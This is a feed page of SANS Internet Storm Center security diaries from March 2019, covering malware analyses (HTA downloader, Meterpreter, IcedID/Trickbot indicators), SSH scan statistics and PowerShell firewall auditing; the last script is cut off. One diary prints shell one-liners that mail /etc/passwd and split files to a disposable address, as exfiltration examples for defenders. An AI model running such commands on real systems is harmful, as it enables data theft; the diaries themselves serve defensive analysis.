SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 38 perc 30 másodperc
2019. március 11.

Wireshark 3.0.0 and Npcap, (Mon, Mar 11th)

Starting with version 3.0.0, the Wireshark for Windows installation programs are distributed with Npcap in stead of WinPcap. Prior Wireshark Windows versions already supported Npcap, but the installer still came bundled with WinPcap.

Npcap is a library for packet capturing and sending on Windows, developed by the Nmap project, and is actively maintained, while WinPcap is no longer actively maintained (unless WinPcap's community steps in).

If you have a prior version of Wireshark installed on Windows (like 2.6.7), and you perform an upgrade to 3.0.0, Npcap will be installed by default:

One feature offered by Npcap and lacking in WinPcap, is capturing traffic on the loopback adapter:

Wireshark with WinPcap:

Wireshark with Npcap:

You can also sniff WiFi if your driver supports it.

If you have WinPcap installed, and Npcap is installed with default options, then WinPcap remains installed:

WinPcap and Npcap can coexist. Unless you choose to have the Npcap installer install a WinPcap API compatible DLL. Then WinPcap will be uninstalled.

This WinPcap API compatible DLL allows other applications, depending on WinPcap and without support for Npcap, to run with Npcap only installed.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 10.

ISC Stormcast For Monday, March 11th 2019 https://isc.sans.edu/podcastdetail.html?id=6406, (Sun, Mar 10th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 10.

Quick and Dirty Malicious HTA Analysis, (Sun, Mar 10th)

Reader Ahmed shared his analysis of a malicious HTA file: the reason why he had to perform static analysis, is that dynamic analysis failed: the sandbox he used reported no activity by the HTA file.

It's a rule of thumb when reversing: if you don't succeed with one particular analysis method, try another one. Even if that second method fails too, it might give you insight to help you progress with the first method.

An HTA file is an HTML Application (extension .hta): it's an HTML file with scripts (VBScript, JScript, ...) that is executed by the HTA engine (mshta.exe). Unlike a browser, scripts running inside that engine are not restricted and use the full permissions of the user running the HTA engine.

The VBScript in this HTA file has a string that is heavily obfuscated. This string is passed on to the Create method of a WMI class to create a new process, but first it is processed by the Replace function:

This call to the Replace function, replaces string ![_%/+-$>#*&])(=?< with an empty string: the result is that each ![_%/+-$>#*&])(=?< occurence is removed from the string passed on to the Create method.

Normally it's easy to do the same with the stream editor sed, except that this string contains meta-characters that have to be escaped, like this:

Now it's clear that this is a PowerShell command, and that the script is obfuscated. We can manually deobfuscate this script, like Ahmed did, but in this diary entry I want to show a quick and dirty method to find out what this script is doing.

First of all, it's clear that we are dealing with malware. A malicious PowerShell script like this one, is almost always a downloader: a script that downloads a payload from the Internet. The URL(s) is/are often obfuscated. But if you search for the character : (found in http://), you might be lucky and find a fragment of a URL.

And that's what we have here for the third occurence of the : character:

Let me just clean this up: a bit to the left there's an .Invoke method call (that's the beginning of the statement) and a bit to the right there's a ; character (that's the end of the statement):

In pink, I've highlighted fragments of text that are clearly part of a URL. This URL uses an IPv4 address, starting with 46.101.8.

In yellow, I've highlighted all the remaining digits: it looks to me that 5.43 is the rest of the IPv4 address.

To be sure, I'm looking it up with VirusTotal: 46.101.85[.]43.

And we are lucky: this IPv4 address is known, and there's one URL with a bad score. The path of this URL is putt.txt, and with that info, I can further identify the fragments of the URL:

When you are dealing with an obfuscated PowerShell script, it's often a downloader. Depending on the obfuscation method, it's possible that the URL (or URLs) is broken up in different fragments, but that the characters have not been encoded. In that case, it can be possible to identify the different fragments, sometimes with the help of threat intel.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 10.

Malicious HTA Analysis by a Reader, (Sun, Mar 10th)

This week, reader Ahmed Elahaer submitted a malicious HTA file. He was able to deobfuscate the VBscript inside the HTA file, but had difficulties with the obfuscated PowerShell script launched by the VBscript.

Later, Ahmed reached out again: he had deobfuscated the PowerShell script, and shared his analysis with us. Thanks Ahmed! I'm posting his analysis here, but with pictures of the (partially) deobfuscated script to avoid triggering AV.

Analysis:

Analysis of Powershell Malware Captured on March 1st 2019:

We have detected a suspicious Process executed on one of the machines which turned to be a result of malicious
HTA file that's being delivered by mail.

from looking at the HTA which is a VBScript you will notice its obfuscated and can be easily de-obfuscated
using a find/replace command in Text Editor or by using SED.

i have made a python script before to quickly de-obfuscate simple split/replace code that can also be used with this.

Below the HTA File Content:


after replacing "![_%/+-$>#*&])(=?<" with nothing we should get the de-obfuscated code:

you can notie its a multi-layer obfuscation, that we have to deal with to understand this malware.
purpose of doing this analysis, sometimes the malware that you can capture and run in dynamic anaylsis do only a subset of its functionality and we dont have change to know its full potential.
and some times its dynamic like it can generate different key for each machine so you have to understand its code to be able to use its functionality and stop it using its own code.

i took the Powershell command mentioned in the VBScript and tried to tweak it a bit to remove the dangerous part and to get the actual code.


And here is the result of the 1st iteration of decoding the provided Powershell code after saving it to a file.

decoding the result we have from the previous command as follows.

we will have the below code, also de-obfuscated Powershell code.

Following same approach we done previously.

...

spliting the code at ; and looking into it, it's very easy to do string format by hand on each string to form the original powershell command.

which will result the final code here.


looking into the code here we can see that this script will do the following:
    - it generate a long number as a reference (which is all letters A-Z and a-z)
    - select 6 random characters from them to be the name of the file downloaded later
    - it download the malware and name it .log then move it to exe then execute it.

we downloaded the malware and do simple check on the File which turned to be signed ursnif sample. which steals system information and attempts to steal banking and online account credentials.

    # PS C:\Users\User> sigcheck.exe .\eDRTou.exe
    # C:\Users\User\eDRTou.exe:
    #     Verified:   Signed
    #     Signing date:   11:59 PM 2/27/2019
    #     Publisher:  01010000 LTD
    #     Company:    INCA Internet Co., Ltd.
    #     Description:    nProtect KeyCrypt Program Database DLL
    #     Product:    nProtect KeyCrypt Program Database DLL
    #     Prod version:   4, 0, 0, 0
    #     File version:   2003, 10, 1, 1
    #     MachineType:    32-bit

when running the Malware, you will notice its trying to contact C2 Server.
 - hxxp://followgathering[.]pw -> 192.42.119[.]41

Below you can find Dynamic analysis for this malware:

https://www.hybrid-analysis.com/sample/a28b197f2cf9d82101980e302f16732fd09eb9b4760e13699a3c0d2c6cd18cc3
https://www.virustotal.com/#/file/a28b197f2cf9d82101980e302f16732fd09eb9b4760e13699a3c0d2c6cd18cc3/details

 

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 10.

A Comparison Study of SSH Port Activity - TCP 22 &#x26; 2222, (Sat, Mar 9th)

I added a while ago to my honeypot TCP 2222 usually associated with SSH traffic to compare the amount of scans targeting port 22 and 2222 over a period of 7 days. What I have noticed, only about 50% more of the traffic is going to TCP 22 the default SSH service. The activity reported for the past month to DShield has been pretty consistent for TCP 2222[1]. I used the latest version of rockNSM released a few weeks ago with the new added dashboard to track the activity.

This graph shows port 22 over the past 7 days

This graph shows port 2222 over the past 7 days

This graph show both 22 and 2222 over the past 7days

I wrote a diary last year where I posted a list of various client types and versions. Over the past several weeks, I received 9664 SSH probe to TCP 2222. This is the breakdown of the various SSH clients used:

SSH-2.0-libssh-0.6.3    8060
SSH-2.0-libssh2_1.8.0    567
SSH-2.0-libssh_0.8.2     519
SSH-2.0-libssh-0.2       298
SSH-2.0-Go               107
SSH-2.0-libssh2_1.4.3     66
SSH-2.0-sshlib-0.1        18
SSH-2.0-libssh-0.6.5       8
SSH-2.0-paramiko_2.1.3     5
SSH-2.0-paramiko_2.0.2     3
SSH-2.0-libssh2_1.7.0      3
SSH-2.0-paramiko_2.1.2     2

libssh 0.6 and later is vulnerable to CVE-2018-10933 and the most common hasshServer values posted here.

If you are interested in trying out the latest version of rockNSM 2.3, I recently updated my step-by-step guide and posted it here on the handlers server.

[1] https://isc.sans.edu/port.html?port=2222
[2] https://rocknsm.io/
[3] https://handlers.sans.edu/gbruneau/rockNSM_2.3.htm
[4] https://isc.sans.edu/forums/diary/SSH+Scans+by+Clients+Types/23201
[5] https://gist.github.com/0x4D31/35ddb0322530414bbb4c3288292749cc

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 8.

Analysing meterpreter payload with Ghidra, (Fri, Mar 8th)

Yesterday I found a powershell script using urlscan.io which can be found. I didn't (and still don't) have any idea about the origins, being benign or malicious. Spoiler, it is (just) a meterpreter reverse-https payload being delivered using Metasploit's Web Delivery. 

Urlscan is a great and powerfull tool to analyse webpages. It delivers reports about how the page loads, creates screenshots, stores interesting files and extracts all kind of indicators. Urls can be scanned manually or by the api. There are many automated submissions, like links that have been included in emails or are suspicious. The service helps to find other domains running from the same ip, similar pages and campaigns. 

Searching for 1.ps1 using urlscan delivers all kind of powershell scripts (many malicious), as also the one I found. Just to add some context, I searched for other occurences of the ip address and file hash delivers, but found just one single result. 

The powershell contains a base64 encoded payload which will be executed by starting a new powershell session with the script as argument. Using Cyberchef it is easy to decode the base64 payload as can be shown here. Multiple of my dear handler colleagues have written about this useful service already. Cyberchef (runs client side only) makes it easy to create recipes, that will transform the data by just dropping new operations (which are many predefined) to the recipe. This step only base64 decodes the payload, but the next step deflates the payload also.

Step 2 contains the encoded reverse-https Meterpreter payload that will be loaded and executed in memory. If we now extract the payload and extract it using another recipe we have the shellcode and we'll load this into Ghidra. Ghidra is the Software Reverse Engineering (SRE) suite of tools which are developed (and now opened) by the NSA. Currently the github repository contains only a placeholder, but it says it will be made available opensource. There has been tweeted a lot about Ghidra and overall reactions are positive. Positive reactions are about the decompiler, the ability for collaborating with colleagues, support for adding multiple binaries to a single project, ability to undo, diffing, many supported processors and the analysis. Negative reactions are that it is based on java, supports no debugging and (steep) learning curve. A more thorough overview can be found in this article of Joxean Koret

Just to highlight a few features of Ghidra, we'll load the binary. After loading the file we have to pick the language, which is x86 32 bits and the binary can be analysed.

After importing it will show a small summary about the results. 

The payload start address (0x0) needs to be disassembled manually, as it doesn't recognise the code. After disassembling the first bytes, the other code will following and you'll get the this screen. The code can be annotated, functions created, diffed etc. 

Ghidra will show the decompiled function next to the assembly view, a sample of decompilated function (the http request and response part) looks like this.

The payload uses a hashed functions to prevent presence of strings within the payload containing the system functions, which makes it less readable. 

After analyses this is just a default Meterpreter payload where a reverse https shell will be opened to a Meterpreter handler.

Meterpreter http(s) handlers will use the default "It works" page we know from Apache, but only a bit different. As the default Apache index.html contains an extra \n (sha256: f2dcc96deec8bca2facba9ad0db55c89f3c4937cd6d2d28e5c4869216ffa81cf and 45 bytes), where meterpreter doesn't (sha256: 8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb and 44 bytes). If we search the meterpreter hash for Censys we'll find over two thousand suspected meterpreter servers. Maybe something to blacklist?

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec
PGP Key

 

 

 

 

 

 

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 8.

ISC Stormcast For Friday, March 8th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6404, (Fri, Mar 8th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 7.

Keep an Eye on Disposable Email Addresses, (Wed, Mar 6th)

In many organisations, emails still remain a classic infection path today. The good old email is still today a common communication channel to exchange information with people outside of the security perimeter. Many security controls are in place to reduce the number of malicious emails landing in users’ mailboxes. If, from a network perspective, firewalls inspect traffic in both directions (“egress” and “ingress” filters), it’s not always the case with email flows. They are often just allowed to go out through local MTA’s (Mail Transfert Agents).

From a malware point of view, inspecting outgoing emails for malicious content is less critical. Except if the mail server is being compromized or left open to send massive waves of malicious messages, we can assume that internal emails are “clean” but what about data exfiltration? A DLP ("Data Leak Prevention") tool could sometimes spot interesting content but I'm not a big fan of such solution. Today, most content is obfuscated or encrypted. We can try to spot suspicious activity just be having a look at our logs. Yes, logs are mandatory if you did not know yet!

I found on github.com some compiled lists of domains used by free mail providers or disposable (“temporary”) email providers (like the well-known guerrillamail.com[1]). I'm a big fan of such services, especially when I'm forced by a vendor to fill a form with my contact details just to download a white-paper or a report. 

I compiled my own list[2] and started to correlate these domains with a lot of events generated by different MTA’s (I’m lucky to have access to big networks). Guess what? I found many suspicious communications with disposable email providers. What did I found?

A user who probably setup a forward rule to send a copy of all his/her emails to a free email address (Is it allowed by your policy?)

Users who sent emails to disposable email addresses with the subject “to print”,  “to review” or “to read”. Probably to work from a remote location.

Users who sent official documents to a known partner who was using a free email address (in this case, it was an embassy!)

Often, sending emais is very convenient because you just need to use the available mail servers inside the infrastructure. Emails are just allowed because it's a classic way for the IT team to get results of scripts, backups, etc. So convenient! Emails can also by generated from scripts (Shell, Python, …) with just a one-liner:

$ base64 </etc/passwd | mail bad.guy@guerrillamail.com

The exfiltration of big files is easy:

$ cat bigfile.tgz \ | split -b 2000 && for f in xa*; do base64 $f \ | mail -s $f bad.guy@guerillamail.com; done

Check also for beaconing (emails sent a regular interval to the same destination - ex: 1 email every 2h)

What about blocking outgoing emails to those domains? It must be decided case by case, depending on your environment and your business. In the environment where I found the case described above, it's simply not possible to block all of them.

[1] https://www.guerrillamail.com
[2] https://github.com/xme/SANS-ISC/blob/master/disposable-free-email-domains.csv

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 7.

ISC Stormcast For Thursday, March 7th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6402, (Thu, Mar 7th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 6.

March Edition of Ouch&#x21; Newsletter: Securely Disposing Mobile Devices https://www.sans.org/security-awareness-training/resources/disposing-your-mobile-device, (Wed, Mar 6th)

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 6.

ISC Stormcast For Wednesday, March 6th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6400, (Wed, Mar 6th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 6.

Malspam with password-protected word docs still pushing IcedID (Bokbot) with Trickbot, (Wed, Mar 6th)

Introduction

Malicious spam (malspam) using attached password-protected Word documents is a long-running campaign that I and others have occasionally documented.  This campaign has a history of pushing various types of ransomware and information stealers.  I previously wrote about this campaign in December 2018, when it started pushing IcedID (Bokbot).

It's still active using resume-themed malspam.  And it's still pushing IcedID.  But ever since February 2019, IcedID has been following up with Trickbot as described by Crowdstrike here.  Because of this recent change, we should again review infection activity from this campaign.  Today's diary examines an infection from Monday 2019-03-04.


Shown above:  Flow chart for infection activity on Monday 2019-03-04.

The malspam and attached Word docs

Emails from this malspam campaign started again on Tuesday 2019-03-05.  All attached document names end with Resume.doc and all email addresses end with @cox.net.  All attached Word documents were 37,888 bytes.  Here is a list of 30 examples:

Read: Date/Time -- Attachment name -- Sending address (spoofed) -- Subject

  • 2019-03-05 21:40 UTC -- Tricia Cogswell Resume.doc -- lyndsaybit@cox.net -- Job
  • 2019-03-05 21:15 UTC -- Rhiannon Litwin Resume.doc -- cjhol@cox.net -- Regarding Job
  • 2019-03-05 20:51 UTC -- Kasey Rohloff Resume.doc -- kennida@cox.net -- Job
  • 2019-03-05 20:37 UTC -- Roxane Beverley Resume.doc -- twatson12@cox.net -- Regarding Job
  • 2019-03-05 20:16 UTC -- Marhta Sessler Resume.doc -- rmferb@cox.net -- Regarding Job
  • 2019-03-05 20:04 UTC -- Tam Skipworth Resume.doc -- daviddntulsaok@cox.net -- Hiring
  • 2019-03-05 20:01 UTC -- Arminda Fortson Resume.doc -- rpierce20@cox.net -- Hiring
  • 2019-03-05 19:52 UTC -- Roxane Beverley Resume.doc -- suethill1027@cox.net -- Hiring
  • 2019-03-05 19:32 UTC -- Randolph Nelsen Resume.doc -- darshnabisht@cox.net -- Job Application
  • 2019-03-05 19:28 UTC -- Angie Pirkle Resume.doc -- raymond.hintz@cox.net -- Job Application
  • 2019-03-05 19:19 UTC -- Kelvin Quarterman Resume.doc -- marktrent@cox.net -- Hiring
  • 2019-03-05 18:56 UTC -- Shona Dyck Resume.doc -- kbrutus1@cox.net -- Regarding Job
  • 2019-03-05 18:36 UTC -- Madeleine Valero Resume.doc -- richeather@cox.net -- Job Application
  • 2019-03-05 18:02 UTC -- Lashawn Bilal Resume.doc -- petabray@cox.net -- Job
  • 2019-03-05 17:40 UTC -- Sunny Osgood Resume.doc -- sagrace35@cox.net -- Hiring
  • 2019-03-05 17:23 UTC -- Tam Skipworth Resume.doc -- traceym@cox.net -- application
  • 2019-03-05 17:16 UTC -- Vicky Linsey Resume.doc -- rblang@cox.net -- Regarding position
  • 2019-03-05 17:09 UTC -- Tam Skipworth Resume.doc -- wildetz@cox.net -- Regarding position
  • 2019-03-05 17:06 UTC -- Tam Skipworth Resume.doc -- carolsaliba@cox.net -- Regarding position
  • 2019-03-05 16:41 UTC -- Kelvin Quarterman Resume.doc -- david.casper@cox.net -- Job Application
  • 2019-03-05 16:06 UTC -- Tam Skipworth Resume.doc -- gigismom@cox.net -- Regarding position
  • 2019-03-05 16:03 UTC -- Lana Sines Resume.doc -- blcollins@cox.net -- Hiring
  • 2019-03-05 16:02 UTC -- Rhiannon Litwin Resume.doc -- isrosa@cox.net -- Regarding Job
  • 2019-03-05 16:01 UTC -- Livia Westlake Resume.doc -- gkoenig@cox.net -- Job Application
  • 2019-03-05 15:50 UTC -- Livia Westlake Resume.doc -- bhubler@cox.net -- Regarding position
  • 2019-03-05 15:41 UTC -- Shandi Stribling Resume.doc -- afw2153@cox.net -- Regarding Job
  • 2019-03-05 15:26 UTC -- Kylee Chiles Resume.doc -- danawood@cox.net -- Regarding Job
  • 2019-03-05 15:06 UTC -- Livia Westlake Resume.doc -- luizaion@cox.net -- Hiring
  • 2019-03-05 14:56 UTC -- Kelvin Quarterman Resume.doc -- jollyjanuary@cox.net -- Regarding position
  • 2019-03-05 14:56 UTC -- Alona Mcferren Resume.doc -- finddeb2@cox.net -- application

On Monday 2019-03-04, I searched VirusTotal Intelligence for Word documents with Resume.doc as part of the file name, and were 37,888 bytes in size.  I found several results and chose one of the more recent examples to generate an infection in my lab environment.  These files show a low detection rate in VirusTotal, probably because they are password-protected.


Shown above: Search results in VirusTotal Intelligence from Monday 2019-03-04.

I found an example from Wednesday 2019-02-27 that came from malspam as shown in the images below.


Shown above:  Example of the malspam and attached Word document.


Shown above:  Attached Word document after unlocked with the password 1234.

Infection traffic


Shown above:  Traffic from the infection filtered in Wireshark.

In the above image, an infected Windows client is on 10.3.4.101, and the domain controller (DC) is on 10.3.4.2.  Traffic shows the Windows client first infected with IcedID.  Shortly after the initial infection, the client retrieves Trickbot spreader EXEs that download and send Trickbot to the DC.

Evil macro retrieves EXE for IcedID (Bokbot):

  • 209.141.55[.]226 port 80 - 209.141.55[.]226 - GET /troll1.jpg

IcedID (Bokbot) infection traffic:

  • 146.120.110[.]93 port 443 - detecture[.]pw - HTTPS/SSL/TLS traffic caused by IcedID (Bokbot)
  • 146.120.110[.]93 port 80 - govenian[.]host - GET /data2.php?0123456789ABCDEF
  • 146.120.110[.]93 port 443 - govenian[.]host - Client Hello
  • 85.246.116[.]239 port 443 - matchippsi[.]com - attempted TCP connections, but no response from server
  • 188.127.239[.]51 port 80 and 443 - thracial[.]pw - attempted TCP connections, but no response from server
  • 188.127.239[.]51 port 80 and 443 - saudienter[.]pw - attempted TCP connections, but no response from server
  • 87.236.22[.]142 port 80 and 443 - superhaps[.]pw - attempted TCP connections, but no response from server
  • 87.236.22[.]142 port 80 and 443 - maalous[.]pw - attempted TCP connections, but no response from server

IcedID (Bokbot) infection traffic related to Trickbot propagation:

  • 46.249.62[.]199 port 80 - 46.249.62[.]199 - GET /Tinx86_14.exe
  • 46.249.62[.]199 port 80 - 46.249.62[.]199 - GET /Sw9JKmXqaSj.exe
  • 94.250.253[.]158 port 80 - 94.250.253[.]158 - GET /sin.png
  • 94.250.253[.]158 port 80 - 94.250.253[.]158 - GET /tin.png

Trickbot infection traffic:

  • port 80 - ip.anysrc[.]net - GET /plain
  • 192.243.102[.]170 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 185.255.79[.]113 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 212.80.216[.]238 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 179.189.241[.]254 port 449 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 94.140.125[.]131 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 103.119.144[.]250 port 8082 - 103.119.144[.]250:8082 - POST /tin20/[string of characters]

Malware

SHA256 hash: bfda463352e31502f70eacc46827e505ebae681dce1211aa11a12eb693803790

  • File size: 37,888 bytes
  • File name: Dominga Adkinson Resume.doc
  • File description: Password-protected Word doc with evil macro designed to install malware

SHA256 hash: 62b7fbffd000a8d747c55260f0b867d09bc4ad19b2b657fb9ee3744c12b87257

  • File size: 707,584 bytes
  • File location: hxxp://209.141.55[.]226/troll1.jpg
  • File location: C:\Users\[username]\AppData\Local\Temp\qwerty2.exe
  • File description: IcedID (Bokbot) malware retrieved by evil macro

SHA256 hash: 046482ac16d538f1ab105669c8355cf6c6444e3310b1819fd7c38ace18b049fa

  • File size: 327,733 bytes
  • File location: hxxp://46.249.62[.]199/Sw9JKmXqaSj.exe
  • File description: Trickbot downloader (1 of 2) retrieved from 46.249.62[.]199 by IcedID-infected host

SHA256 hash: 38155ede329f41fd733d2abaceb5064494e33ea2d697add430d400c45eab6633

  • File size: 2,977,845 bytes
  • File location: hxxp://46.249.62[.]199/Tinx86_14.exe
  • File description: Trickbot downloader (2 of 2) retrieved from 46.249.62[.]199 by IcedID-infected host

SHA256 hash: cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560

  • File size: 115,712 bytes
  • File description: Trickbot-related executable found on the infected DC

SHA256 hash: 578025955b8e7de29489dbb3d077e524a9ca7afdeff7d41afbd39b628550a027

  • File size: 847,872 bytes
  • File location: hxxp://94.250.253[.]158/sin.png
  • File description: Trickbot EXE retrieved from 94.250.253[.]158 by infected client

SHA256 hash: f6e8302d9c3e043d208d60af280e7a30bc08a3d235c797f2cd8b0bb53116230c

  • File size: 847,872 bytes
  • File location: hxxp://94.250.253[.]158/tin.png
  • File location: C:\Users\Default\AppData\Roaming\wnetwork\y5lwqmn_ch72bggm929d5m6zkqado3179zfrqa67ekdd5bwatve7_zzu6p9vjob0.exe
  • File description: Trickbot EXE retrieved from 94.250.253[.]158 by infected client and used to infect the DC

Final words

Most interesting was the Windows client initially infected with IcedID.  This client was not infected with Trickbot.  Trickbot downloaders (Sw9JKmXqaSj.exe and Tinx86_14.exe) retrieved by my IcedID-infected client sent a Trickbot EXE (tin.png) to the DC over SMB using an ETERNALBLUE-style exploit.  But any Trickbot EXEs downloaded from 94.250.253[.]158 (sin.png and tin.png) were not executed on the Windows client.  In two previous examples from February 2019 (here and here) both client and DC were infected with Trickbot, but the DC was always infected first.  From there, Trickbot spread from the DC to my IcedID-infected Windows client.

In my example from Monday 2019-03-04 for today's diary, Trickbot didn't propagate back to the original Windows client.  If I'd waited long enough for all Trickbot modules to load on the DC, perhaps it would've spread back to the client as seen in previous examples.

A pcap of the infection traffic and malware associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 5.

ISC Stormcast For Tuesday, March 5th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6398, (Tue, Mar 5th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 5.

Powershell, Active Directory and the Windows Host Firewall, (Tue, Mar 5th)

When Windows XP was released in late 2001, one of the new features that everyone thought was outstanding was the workstation firewall.  This feature was going to save us all, blocking attacks and malware on known and easily exploitable ports such as those used by AD - surely we could quantify our own domains and block any and all traffic from non-domain stations?  Or block attack traffic from our AD neighbours?

Sadly, it's now 2019 (just over 17 years later), and it's depressing for us in the security industry to see that firewalls are routinely disabled domain-wide in most Windows shops by the folks who admin those domains.

Why is this so terrible?  For starters, the most common windows malware these days propagates over port tcp/445 (used for SMB, which is used extensively in AD, among other protocols), and in most shops there's no good reason for one workstation to have the capability to connect to another workstation on tcp/445.  Really, that traffic is almost always confined to client <-> server communications.  In most environments, there is no client to client workstation communication requirements at all - sometimes we'll see that soft-phones will need ports open for VOIP, but that's about it.  For a "tcp/445 inbound to workstations" rule specifically, you likely only want to permit Domain Controllers, and then also maybe the management hosts that you'll be running scripts from to audit / maintain your workstations.

So, should we start by blocking tcp/445 from workstation subnets?  No, that's very much missing the point. For a workstation firewall, permit the client to server traffic that you need on the outbound rule, as well as any server to client traffic that is needed on the inbound rule, look at what you need for internet (keep reading) and anything else, then block all other traffic.

What, no "any/any" to the internet?  Sure, you could go there, but you likely only need a handful of ports outbound (and NONE inbound) for internet traffic for most stations - more and more we're seeing just http and https, with protocols like ssh, ftps, sftp to a handful of known destinations.  DNS requests should only be permitted to your DNS servers (where you can log them and sink-hole requests to known malicious sites).   Many environments should be blocking internet-bound cleartext protocols like FTP, but just plain don't.  You *could* do a "permit all" to the internet, then trust the firewall egress filter, but that approach won't help you when that mobile workstation leaves the office at the end of the work day, if it was ever there.

What the firewall egress filter will buy you however is more "mature" logging and reporting.   You can (and should) centrally log your workstation firewall traffic hits and stats, but Windows logging is so verbose, and SEIM solutions don't tend to do a great job on workstation firewalls.  You may want an "at work" policy that allows anything outbound to the internet from the workstation firewall, after all the internal rules are processed, so that permitted and blocked traffic gets logged and reported at the perimeter firewall.  Just be sure that the "internet" rule for the "Public" and "Home" network profiles reflect what's in your firewall's egress filter (or are more restrictive), and are maintained to stay that way - you don't want that outbound/any/any to still be in play if a workstation leaves the office!

If there is any question about if one port or another is being used inbound or outbound, WireShark is your friend.  It's fairly simple to set up a capture session looking just for the port in question (a capture filter of "tcp port 445" for instance will only capture that port). 

How can you set your status network-wide?  Group Policy has this dialed in!  You'll likely have many of the server firewall policies set individually, but workstations can normally be configured globally in a GPO, once you've got  your policy tested.  Do keep in mind though that you can easily lobotomize a domain with GPO's - you'll want to test your policies on a small but representative group of stations, then roll the GPO to a series of pilot groups before you include all workstations.

Normally you'll have one set of rules for workstations when they are "at work", then a much more restrictive "away" set of rules, usually when not at work the workstation firewall should deny all unsolicited inbound traffic for instance.

How can you check your server and workstation firewall status?  The PowerShell script below will list out the firewall status (not the individual rules) for each host in AD - the saved file can then be read into Excel (or whatever) to process for any further action:

$pcs = get-adcomputer -filter * -property Name,OperatingSystem,Operatingsystemversion,IPV4Address
$fwinfo = @()
$i=0
foreach ($pc in $pcs) {
    $i+=1
    write-host $i
    $tempval = new-object psobject
    if (Test-Connection -ComputerName $pc.DNSHostName -count 2 -Quiet) {
    $tempval = Get-NetFirewallProfile -cimsession $pc.DNSHostName -PolicyStore activestore | select name, enabled, defaultinboundaction, DefaultOutboundAction
    if ($tempval.count -gt 0) {
        $tempval | add-member -membertype noteproperty -name HostName -value $pc.dnshostname
        $tempval | add-member -membertype noteproperty -name OperatingSystem -value $pc.OperatingSystem
        $tempval | add-member -membertype noteproperty -name IpAddress -value $pc.IPV4Address
        $fwinfo += $tempval
    }
}
}
$fwinfo | export-csv -path ./fwstate.csv

This gets us the state, but what about the rules, as well as the ports and protocols associated with the rules?  For a local workstation, the code below will get you that information.  Note though  that modern firewall rules are way more than just ports and protocols - many (if nto most) rules are application based, allowing those ports and protocols to or from specific applications only.

$pfrules = @()
$rules =  get-netfirewallrule
foreach ( $rule in $rules ) {
  $pf = $rule | get-netfirewallportfilter
  $tempval = new-object psobject
  $tempval = $rule | select displayname, description, enabled, profile, direction, action, policystoresource, policystoresourcetype
  $tempval | add-member -membertype noteproperty -name Protocol -value $pf.protocol
  $tempval | add-member -membertype noteproperty -name LocalPort -value $pf.LocalPort
  $tempval | add-member -membertype noteproperty -name RemotePort -value $pf.RemotePort
  $tempval | add-member -membertype noteproperty -name ICMPType -value $pf.ICMPType
  $tempval | add-member -membertype noteproperty -name DynamicTarget -value $pf.DynamicTarget
  $pfrules += $tempval
}

For a typical host, that'll give you a rule count in the high 300's, so this will add up if you enumerate domain-wide.  However, it's worth doing to find outliers.  Looking for protocol rules that are inbound TCP and active for instance cuts the count down quite a bit:

$tcpin = $pfrules | where { $_.Direction -eq 'Inbound' -and $_.Enabled -eq 'True' -and $_.Protocol -eq 'TCP' }
$tcpin.count
29

Even that is a lot to look at, especially if you are enumerating groups of hosts or the entire domain - again, Excel is DEFINITELY your friend for this excercise.  


Expanding our original collection script to include packet filter rules domain wide would look like this:

$pcs = get-adcomputer -filter * -property Name,OperatingSystem,Operatingsystemversion,IPV4Address
$pfrules = @()
$i=0
foreach ($pc in $pcs) {
    $i+=1
    write-host $i
    $tempval = new-object psobject
    if (Test-Connection -ComputerName $pc.DNSHostName -count 2 -Quiet) {
    $fwrules = Get-NetFirewallRule -cimsession $pc.DNSHostName -PolicyStore activestore
    foreach ( $rule in $fwrules ) {
        $pf = $rule | get-netfirewallportfilter
        $tempval = new-object psobject
